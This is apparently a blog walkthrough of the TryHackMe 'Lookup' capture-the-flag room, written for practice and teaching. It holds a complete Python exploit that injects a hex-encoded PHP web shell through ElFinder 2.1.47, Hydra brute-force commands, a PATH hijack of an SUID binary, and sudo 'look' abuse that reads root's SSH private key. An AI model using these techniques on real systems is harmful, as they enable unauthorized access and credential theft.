Hacking Practice: TryHackMe Lookup Room Explained
TryHackMe Lookup: Enumeration, HTTP brute-force, Privilege Escalation & More

Overview
| Room | https://tryhackme.com/r/room/lookup |
| Difficulty | Easy, But Not an Hour Easy |
| Room Author | @josemlwdf on TryHackMe |
Lookup is a Linux machine challenge where we first encounter a login webpage. The login page responds differently depending on whether the user exists. After enumerating valid usernames, we brute-force credentials for the found user using Hydra. After a successful login, we are redirected to ElFinder, a web file manager vulnerable to PHP command injection. We modify the script for Python 3.
After gaining initial access as the www-data user, we enumerate and find a user think along with an ELF SUID executable /usr/sbin/pwm. This SUID executable runs the id command to impersonate the current user and read the /home/<current_user>/.passwords file. Since PWM doesn’t use an absolute path, we create our own id executable under /tmp/id and add it to the PATH to impersonate user think.
The .passwords file contains a list of possible passwords, which we use to brute-force the think user's SSH login. We then discover that the user think can only execute the look command with sudo. Using this, we obtain the root user's SSH private key (id_rsa) to log in and retrieve the root flag.
Passive Enumeration
Port Scan
sudo nmap -sS -sV <ip>
The port scan reveals two open ports:
HTTP Port: 80
SSH Port: 22
Visiting the target IP in a browser redirects to lookup.thm, so we need to add that to the /etc/hosts file.
echo "<target_ip> lookup.thm" | sudo tee -a /etc/hosts
Directory Brute-Force on Port 80
feroxbuster --url="http://lookup.thm" --wordlist /usr/share/SecLists/Discovery/Web-Content/raft-large-extensions.txt
- No luck with directory brute-force.
After trying a full port scan, SSH brute-force, sqlmap, and nikto, I wasted about an hour with no useful results.
Finding Valid Usernames & Passwords
I tried basic credentials on the login page, such as admin:admin, test:password. After a few attempts, I noticed that the webpage responds differently when the user admin is entered, showing Wrong Password, and for any other users, it shows Wrong Password or Username. I brute-forced the password for admin but didn’t have any luck. This could mean that the server is returning valid passwords for different users. Why? could be bad coding practices, so I explored the possibility of other valid users.

Enumerate Valid Users
hydra -L /usr/share/SecLists/Usernames/xato-net-10-million-usernames-dup.txt -p password lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong username" -I
- Found User:
j-fake-name

I then brute-forced the password for j-fake-name:
hydra -l j-fake-name -P /usr/share/SecLists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong password" -I
- Found Password for
j-fake-name:j-fake-password

Getting Initial Access (Shell)
After logging in with valid credentials, I was redirected to files.lookup.thm, so I added it to /etc/hosts.
echo "<target_ip> files.lookup.thm" | sudo tee -a /etc/hosts
This is ElFinder, a web file manager. From the ? button icon in menu section, I identified the version of ElFinder. A Google search for ElFinder 2.1.47 exploit led me to an exploit on Exploit-DB, which revealed that this version is vulnerable to PHP command injection.

We can use the Exploit-DB script with a few modifications, or alternatively, we can use Metasploit. I'll demonstrate both methods.
First, Exploit-DB Script
The script uploads a JPG file to the file server, using an encoded payload as the image filename. However, there is an issue: I don’t have Python2 installed. This should not be a problem for Kali Linux users, as it comes pre-packaged with Python2. Below is the modified Python3 script.
#!/usr/bin/python
# exploit.py
import requests
import json
import sys
payload = "SecSignal.jpg;echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > SecSignal.php;echo SecSignal.jpg"
def usage():
if len(sys.argv) != 2:
print("Usage: python exploit.py [URL]")
sys.exit(0)
def upload(url, payload):
files = {"upload[]": (payload, open("SecSignal.jpg", "rb"))}
data = {
"reqid": "1693222c439f4",
"cmd": "upload",
"target": "l1_Lw",
"mtime[]": "1497726174",
}
r = requests.post("%s/php/connector.minimal.php" % url, files=files, data=data)
j = json.loads(r.text)
return j["added"][0]["hash"]
def imgRotate(url, hash):
r = requests.get(
"%s/php/connector.minimal.php?target=%s&width=539&height=960°ree=180&quality=100&bg=&mode=rotate&cmd=resize&reqid=169323550af10c"
% (url, hash)
)
return r.text
def shell(url):
r = requests.get("%s/php/SecSignal.php" % url)
if r.status_code == 200:
print("[+] Pwned! :)")
print("[+] Getting the shell...")
while 1:
try:
inp = input("$ ")
r = requests.get("%s/php/SecSignal.php?c=%s" % (url, inp))
print(r.text)
except KeyboardInterrupt:
sys.exit("\nBye kaker!")
else:
print("[*] The site seems not to be vulnerable :(")
def main():
usage()
url = sys.argv[1]
print("[*] Uploading the malicious image...")
hash = upload(url, payload)
print("[*] Running the payload...")
imgRotate(url, hash)
shell(url)
if __name__ == "__main__":
main()
To get the shell, copy a jpg image to the current working directory, rename it to SecSignal.jpg, and run:
python exploit.py http://files.lookup.thm/elFinder

Next, we upgrade the shell for better control. I first tried a Bash -i reverse shell, which didn’t work. Then I used a nc mkfiko reverse shell (from revshells.com) in URL-encoded format because the connection is over HTTP. Replace the IP and port accordingly, and start a nc server on the host machine. (Make sure the firewall is disabled or the port is allowed; otherwise, the reverse shell might not work.)


To stabilize the nc shell:
export TERM=xterm
bash -i

Now, Metasploit Way
Using Metasploit is much easier since it already has an exploit module for this vulnerability, which provides a fully functional meterpreter session.
msf6> use exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
msf6> set RHOSTS files.lookup.thm
msf6> set LHOST tun0
msf6> run
meterpreter> shell
Privilege Escalation
After gaining initial access as www-data, I navigated to /home and found a user named think. This user's directory contained two interesting files: user.txt (the flag) and .passwords, which likely contains the password for think user. However, I couldn't access them as I wasn’t logged in as think.

Find SUID Executables for Privilege Escalation
find / -perm -4000 2>/dev/null
- I found an unknown binary owned by root with the SUID bit set:
/usr/sbin/pwm.

Getting User Shell
Executing /usr/sbin/pwm reveals that it runs the id command to impersonate the user and read the .passwords file in the user's home directory.

Simple ltrace and strace didn’t reveal anything useful, so I assumed the pwm binary doesn’t use an absolute path for the id command. This means we can perform a Path Hijack, where we create our own id command and add it to the PATH variable. This way, when pwm executes, it will run our custom id command instead of the real one.
Our custom id command will return the id of the think user, and pwm will print the .passwords file of the returned user ID.
# Create the `id` command under /tmp/id
cat > /tmp/id << EOF
#!/bin/bash
echo '$(id think)'
EOF
# Give executable permission to /tmp/id
chmod +x /tmp/id
# Add /tmp/ to the `PATH` variable
export PATH=/tmp:$PATH
# Execute `pwm` to get the `/home/think/.passwords` file
/usr/sbin/pwm

We now have the .passwords file, which contains a list of passwords. I copied them to my host machine to brute-force the think user's SSH login.
hydra -l think -P passwords.txt 10.10.73.36 ssh
- Password Found:
think-fake-password
I SSHed into the think user and retrieved the user.txt flag. Next, get the root shell.
Getting the Root Shell
This step was straightforward. The think user can only run the look command with sudo.
sudo -l
I searched for look on GTFOBins to check for privilege escalation options.

There are two ways to proceed: first, directly access the flag:
LFILE=/root/root.txt
sudo look '' "$LFILE"
Alternatively, copy the root's SSH private key to the host machine and SSH into the target as root.
LFILE=/root/.ssh/id_rsa
sudo look '' "$LFILE"
Copy the private key to the host machine as id_rsa and run:
chmod 600 id_rsa
ssh -i id_rsa root@lookup.thm

Target PWNED!
Thanks for reading! I hope you learnt something new. This is my first CTF walkthrough write-up. You can check out my blog FlareXes for more cybersecurity, programming, Linux, privacy, and automation content.






